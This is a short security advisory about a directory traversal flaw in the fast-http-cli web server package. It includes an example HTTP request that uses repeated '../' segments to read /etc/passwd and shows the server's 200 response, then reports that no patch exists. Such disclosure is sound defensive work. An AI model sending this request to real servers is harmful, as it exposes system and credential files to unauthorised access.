GHSA-9frq-f867-hgqc

`fast-http-cli` is the command line interface for `fast-http`, a simple web server.

`fast-http-cli` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the url.

**Example request:**
```http
GET /../../../../../../../../../../etc/passwd HTTP/1.1
host: localhost
```
and server Response:
```http
HTTP/1.1 200 OK
Date: Thu, 04 May 2017 23:59:18 GMT
Connection: keep-alive
Transfer-Encoding: chunked

{contents of /etc/passwd}
```

## Recommendation

No patch is available for this vulnerability.

It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.